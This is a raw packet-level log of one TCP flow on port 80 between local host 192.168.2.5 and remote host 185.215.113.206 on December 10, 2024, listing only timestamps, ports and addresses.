Dec 10, 2024 02:50:39.298290014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.298336029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.298368931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.298405886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.431302071 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.431437969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.431512117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.431540012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.431639910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.431677103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.431813955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.431855917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.432462931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.432506084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.432846069 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.432897091 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.432945013 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.432991982 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.433623075 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.433675051 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.433728933 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.433770895 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.434461117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.434526920 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.434557915 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.434597969 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.435271025 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.435324907 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.435374975 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.435448885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.436101913 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.436146021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.436211109 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.436254978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.436973095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.437042952 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.437067032 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.437113047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.437783957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.437829971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.437905073 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.437962055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.438627958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.438672066 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.438744068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.438788891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.439435005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.439496994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.439583063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.439630032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.440296888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.440357924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.440429926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.440478086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.441106081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.441150904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.441230059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.441274881 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.441960096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.442006111 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.442073107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.442117929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.442835093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.442884922 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.442928076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.442970991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.443608046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.443650961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.443706989 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.443746090 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.444482088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.444528103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.444562912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.444607973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.445302963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.445352077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.445384026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.445425987 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.446116924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.446165085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.446285963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.446326971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.446938038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.446980000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.447041988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.447083950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.447766066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.447812080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.447897911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.447967052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.448586941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.448640108 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.448693991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.448739052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.449476004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.449528933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.449562073 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.449604988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.450282097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.450337887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.450419903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.450468063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.451098919 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.451150894 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.451220989 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.451268911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.451972961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.452028990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.452071905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.452119112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.452778101 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.452822924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.452958107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.453016996 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.453608990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.453665018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.453732967 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.453784943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.454458952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.454504967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.454591036 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.454636097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.455276966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.455319881 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.455374002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.455429077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.456101894 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.456150055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.456202030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.456239939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.456934929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.456978083 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.457039118 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.457078934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.457807064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.457863092 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.457874060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.457907915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.475074053 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.475123882 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.475197077 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.475239038 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.475447893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.475487947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.475569010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.475600004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.476284027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.476332903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.476406097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.476454020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.477147102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.477195978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.477256060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.477303028 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.477963924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.477998972 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.478094101 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.478130102 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.478805065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.478846073 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.478986025 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.479036093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.479636908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.479685068 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.479728937 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.479770899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.480490923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.480539083 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.480650902 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.480690956 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.481281042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.481333017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.481376886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.481415987 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.482136965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.482183933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.482225895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.482258081 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.482928038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.482971907 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.483040094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.483082056 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.483860970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.483896017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.483963966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.484003067 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.484622955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.484658957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.484752893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.484790087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.485455990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.485498905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.485567093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.485610008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.486336946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.486382008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.486443043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.486486912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.487122059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.487173080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.487222910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.487267017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.487967014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.488013029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.488044977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.488087893 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.488799095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.488915920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.488924026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.488955021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.489638090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.489685059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.489761114 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.489803076 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.490468979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.490531921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.490561962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.490607023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.623620987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.623723984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.623733044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.623840094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.623939991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.623986006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.624069929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.624110937 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.624782085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.624861956 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.624880075 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.624955893 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.625613928 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.625659943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.625699997 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.625742912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.626458883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.626504898 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.626559973 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.626604080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.627268076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.627310991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.627381086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.627424955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.628139019 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.628182888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.628274918 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.628315926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.628926992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.628973961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.629050016 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.629092932 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.629777908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.629832983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.629869938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.629910946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.630605936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.630652905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.630789042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.630832911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.631441116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.631485939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.631541014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.631586075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.715272903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.834712982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.151843071 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.151907921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.151945114 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.151984930 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.152240992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.152350903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.152400970 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.153058052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.153187990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.153244019 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.153906107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.153963089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.154026031 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.154138088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.154753923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.154804945 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.154860020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.154906034 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.155565023 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.155613899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.155641079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.155683994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.299854994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.299870014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.300040960 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.300050020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.300112963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.300180912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.300591946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.300703049 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.300751925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.301441908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.301486015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.301536083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.301609039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.302265882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.302309990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.302397966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.302438021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.303096056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.303139925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.303173065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.303211927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.303953886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.303997993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.304120064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.304161072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.304759026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.304805040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.304949999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.304990053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.305594921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.305638075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.305715084 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.305757046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.306433916 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.306478977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.306551933 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.306591988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.307286978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.307327032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.307446957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.307488918 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.390311956 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.390379906 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.390400887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.390455961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.424187899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.424268007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.424308062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.424323082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.424371004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.424422979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.424556971 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:40.424933910 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:40.425149918 CET	80	49763	185.215.113.206	192.168.2.5
